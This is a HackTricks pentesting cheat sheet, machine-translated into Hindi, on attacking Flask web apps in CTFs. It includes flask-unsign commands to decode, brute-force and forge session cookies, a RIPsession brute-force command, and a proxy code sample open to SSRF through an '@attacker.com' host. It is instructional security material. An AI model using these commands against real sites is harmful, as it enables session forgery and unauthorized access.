Flask

Support HackTricks

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

संभवतः यदि आप एक CTF खेल रहे हैं तो एक Flask एप्लिकेशन SSTI** से संबंधित होगा।**

Cookies

डिफ़ॉल्ट कुकी सत्र का नाम session है।

Decoder

ऑनलाइन Flask कुकी डिकोडर: https://www.kirsle.net/wizards/flask-session.cgi

Manual

कुकी के पहले भाग को पहले बिंदु तक प्राप्त करें और इसे Base64 डिकोड करें>

echo "ImhlbGxvIg" | base64 -d

The cookie को एक पासवर्ड का उपयोग करके भी साइन किया गया है

Flask-Unsign

कमांड लाइन टूल जो एक Flask एप्लिकेशन के सत्र कुकीज़ को प्राप्त करने, डिकोड करने, ब्रूट-फोर्स करने और बनाने के लिए गुप्त कुंजी का अनुमान लगाकर उपयोग किया जाता है।

pip3 install flask-unsign

कुकी डिकोड करें

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

ब्रूट फोर्स

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

साइनिंग

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

पुराने संस्करणों का उपयोग करके साइन इन करना

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

कमान्ड लाइन टूल जो flask-unsign के साथ बनाए गए कुकीज़ का उपयोग करके वेबसाइटों पर ब्रूट-फोर्स करता है।

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

यह उदाहरण sqlmap eval विकल्प का उपयोग करता है ताकि flask के लिए sqlmap payloads को स्वचालित रूप से साइन किया जा सके एक ज्ञात गुप्त कुंजी का उपयोग करके।

Flask Proxy to SSRF

इस लेख में यह समझाया गया है कि Flask एक अनुरोध को कैसे अनुमति देता है जो चरित्र "@" से शुरू होता है:

GET @/ HTTP/1.1
Host: target.com
Connection: close

निम्नलिखित परिदृश्य में:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

कुछ ऐसा "@attacker.com" पेश करने की अनुमति दे सकता है जिससे SSRF हो सके।

Trickest का उपयोग करें ताकि दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित कार्यप्रवाहों को आसानी से बनाया और स्वचालित किया जा सके। आज ही एक्सेस प्राप्त करें:

HackTricks का समर्थन करें

Last updated